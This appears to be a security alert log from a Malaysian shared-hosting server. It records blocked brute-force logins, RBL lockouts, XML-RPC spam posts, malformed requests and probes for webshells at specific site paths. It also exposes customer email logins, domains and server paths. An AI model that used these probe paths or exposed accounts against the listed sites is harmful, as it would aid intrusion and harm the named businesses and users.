name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:agsaintifik.com.my.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ecba24352f32f2da1fcfd622ac7d9f19c61e4f10||Title:0xf923ffc6||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 27.71.16.87
country_id: 1562822
description:
Jan 27 13:07:53 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 27.71.16.87 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.124.149.219
country_id: 1733045
description:
Jan 27 13:08:17 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.124.149.219 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.124.149.219
country_id: 1733045
description:
2026-01-27 13:08:19 dovecot_login authenticator failed for H=([49.124.149.219]) [49.124.149.219]:59792: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 13:08:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9675: 535 Incorrect authentication data (set_id=WM Chan)


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:agsaintifik.com.my.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:316a17687b5c4fb933df45d6bdc07008aff2a5e6||Title:0x09ed4e1e||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:agsaintifik.com.my.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:4253a9856bd37bac14e100ba8fa01dc75a191f84||Title:0x47accfc1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.242.102.69
country_id: 6252001
domain: www.box.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.my/image/cache/catalog/Image/Products/Multi H.D/Multi Purpose  H.D-1 r1-250x250.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 156.242.102.69
country_id: 6252001
domain: www.box.com.myhttp
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.box.com.myhttp/www.box.com.my/image/cache/catalog/Image/Products/Multi H.D/Multi Purpose  H.D-1 r1-250x250.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 49.36.218.63
country_id: 1269750
domain: agsaintifik.com.my
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:agsaintifik.com.my.agsaintifik.com.my||ServerName:agsaintifik.com.my||Method:metaWeblog.newPost||BlogID:1||TitleSHA:da65fe96e1676d4a9a0438e3a5aded2a9e085cac||Title:0x5a4fb9f7||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.145.116
country_id: 1880251
domain: www.pspoly.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/portfolio/img/img/demos/img/img/img/img/img/img/news.php||SC:/home2/pspolycom/public_html/portfolio||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 13:10:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14649: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 59.184.84.118
country_id: 1269750
description:
2026-01-27 13:10:26 dovecot_plain authenticator failed for H=(GXA8DC) [59.184.84.118]:64053: 535 Incorrect authentication data (set_id=jason.ruban@cofreth.com.my)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.37.174.67
country_id: 6252001
description:
2026-01-27 13:11:35 H=([104.37.174.67]) [104.37.174.67]:65263 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<noreply@wetransfer.com> rejected RCPT <alvin@nexuscollection.com>: SPF: 104.37.174.67 is not allowed to send mail from wetransfer.com


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 37.205.113.1
country_id: 99237
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/img/photos/5367758298.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 41.212.49.123
country_id: 192950
domain: evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/evergrown.com.my/img/photos/4029781439.jpg HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 173.25.186.130
country_id: 6252001
description:
Jan 27 13:12:06 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 173.25.186.130 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 173.25.186.130
country_id: 6252001
description:
2026-01-27 13:12:08 dovecot_login authenticator failed for H=(173-25-186-130.client.mchsi.com) [173.25.186.130]:63726: 535 Incorrect authentication data (set_id=ahmad.asif@acburn.com.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 188.130.142.179
country_id: 2017370
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:13-12.188.130.142.179||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 175.139.172.6
country_id: 1733045
description:
[2026-01-27 13:13:25 +0800] info [webmaild] 175.139.172.6 - peng@pftfood.com "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.116.248.205
country_id: 3865483
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=994821 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.75.78.225
country_id: 798544
description:
Jan 27 13:13:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.75.78.225 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.6.200.52
country_id: 3469034
description:
Jan 27 13:13:57 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.6.200.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.6.200.52
country_id: 3469034
description:
Jan 27 13:14:05 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.6.200.52 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 49.245.6.31
country_id: 1880251
description:
Jan 27 13:18:35 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 49.245.6.31 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.245.6.31
country_id: 1880251
description:
2026-01-27 13:18:37 dovecot_login authenticator failed for H=(31.6.245.49.unknown.m1.com.sg) [49.245.6.31]:39198: 535 Incorrect authentication data (set_id=rosliza@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 13:20:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57507: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 203.55.131.5
country_id: 6252001
description:
2026-01-27 13:20:08 814380 [Warning] Aborted connection 814380 to db: 'unconnected' user: 'unauthenticated' host: '203.55.131.5' (This connection closed normally without authentication)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.30.83.186
country_id: 1269750
description:
Jan 27 13:21:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.30.83.186 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.151.165.247
country_id: 3865483
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=12911528706670 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.165.245.98
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=66031514882640 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.86.181.142
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=80521523525867 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.175.246.131
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=83971515464163 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.157.247.247
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=96 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.168.108
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=96651515046321 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 194.9.14.132
country_id: 690791
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=25261515046843 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.19.18.175
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=76&page=2 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.167.229
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=44981514942908 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.33.58
country_id: 953987
description:
Jan 27 13:23:15 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.33.58 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.10.222
country_id: 226074
description:
Jan 27 13:23:37 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.10.222 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.190.215.50
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=75651516002433 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.99.70.34
country_id: 3658394
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=27001516783287 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 191.183.3.233
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=82641515377202 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.167.132.98
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=47 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.191.160.137
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=32961515570632 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.180.11.57
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=77 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 175.107.228.21
country_id: 1168579
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=10091518079822 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.233.77.68
country_id: 3658394
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=20771515745061 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 178.220.177.100
country_id: 6290252
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=46351515983516 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.247.111.247
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=40821514530295 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 194.166.56.83
country_id: 2782113
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=45591531898096 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.169.26.240
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=82021516691258 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.224.5.20
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=82011532676752 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.151.118.221
country_id: 3996063
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=95261514886253 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.232.111
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=51 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.177.108.16
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=64&page=2 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 45.6.0.17
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=74&page=3 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.90.211.10
country_id: 1269750
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=30591532150592 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.79.41.226
country_id: 3895114
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=97931522745831 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.244.141.111
country_id: 1210997
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product.php?id=36&page=58 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 72.44.30.199
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=32501518079664 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.94.227.65
country_id: 3437598
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=48061516937912 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 122.165.41.227
country_id: 1269750
description:
[2026-01-27 13:28:34 +0800] info [cpaneld] 122.165.41.227 - urbanmy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user urbanmy (has_cpuser_file failed)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 38.190.31.37
country_id: 3469034
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=41861515569513 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 181.91.85.118
country_id: 3437598
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=38131516939270 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 105.235.133.12
country_id: 2589581
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=14031515117438 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.190.91.206
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=27031516696051 HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.186.54.65
country_id: 298795
description:
Jan 27 13:29:13 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.186.54.65 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.239.41.102
country_id: 3469034
description:
Jan 27 13:29:23 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.239.41.102 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 122.165.41.227
country_id: 1269750
description:
[2026-01-27 13:29:37 +0800] info [cpaneld] 122.165.41.227 - urbanmy "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user urbanmy (has_cpuser_file failed)


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 203.106.96.63
country_id: 1733045
description:
[2026-01-27 13:29:51 +0800] info [webmaild] 203.106.96.63 - arisya@sutsb.com.my "GET /skins/elastic/images/favicon.ico?s=1765700565 HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 200.71.121.195
country_id: 3469034
domain: www.mkmetal.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mkmetal.com.my/ferrous.html HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.230.116
country_id: 1269750
description:
Jan 27 13:29:54 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.230.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.223.41.90
country_id: 1835841
description:
Jan 27 13:30:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.223.41.90 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.186.54.65
country_id: 298795
description:
Jan 27 13:30:28 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.186.54.65 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.159.16
country_id: 1880251
domain: www.sutsb.com.my
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.67||T:APACHE||MV:/about-us/images/sliders/radiation.php||SC:/home/sutsbcom/public_html/about-us||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.187.229.244
country_id: 1269750
description:
Jan 27 13:30:09 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.187.229.244 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 201.63.138.70
country_id: 3469034
description:
Jan 27 13:30:11 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 201.63.138.70 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.59.165.109
country_id: 690791
description:
Jan 27 13:30:24 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.59.165.109 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 165.165.109.114
country_id: 953987
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/jakub-onderka/php-console-highlighter HTTP/1.1||RSV:7.67||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 217.76.248.188
country_id: 3625428
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/tests/vendor/jakub-onderka/php-console-highlighter/ HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.165.106.68
country_id: 1269750
description:
Jan 27 13:34:43 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.165.106.68 has been locked due to Imunify RBL


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 54.149.111.110
country_id: 6252001
domain: www.mssa.org.my
description:
IM360 WAF: Found crawler not in whitelist||RSV:7.67||T:APACHE||RA:54.149.111.110||TA:54.149.111.110||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 13:36:03 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:9679: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 2501
name: User authentication failure.
description:
127.0.0.1 - mike.chong@urban.my [01/27/2026:05:38:11 -0000] "PROPFIND" FAILED LOGIN cpdavd: Authentication failed for user: mike.chong@urban.my


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.211.135.93
country_id: 1733045
description:
2026-01-27 13:38:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.36]) [113.211.135.93]:14654: 535 Incorrect authentication data (set_id=WM Chan)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.170.108
country_id: 3175395
description:
Jan 27 13:42:22 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.170.108 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.151.151
country_id: 99237
description:
Jan 27 13:42:26 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.151.151 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 154.127.36.224
country_id: 2395170
description:
Jan 27 13:42:44 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 154.127.36.224 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.72.35.203
country_id: 1814991
description:
Jan 27 13:44:30 sv3 auth[4189930]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.72.35.203 has been locked due to Imunify RBL


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 71.6.232.20
country_id: 6252001
description:
2026-01-27 13:47:04 815763 [Warning] Aborted connection 815763 to db: 'unconnected' user: 'unauthenticated' host: '71.6.232.20' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 1.9.150.182
country_id: 1733045
description:
2026-01-27 13:48:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.1.5]) [1.9.150.182]:57541: 535 Incorrect authentication data (set_id=amirul@ms-chemicals.net)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 113.182.176.167
country_id: 1562822
domain: www.mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.mssa.org.my/creative-service.php HTTP/1.1||RSV:7.67||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.4.81.106
country_id: 1562822
description:
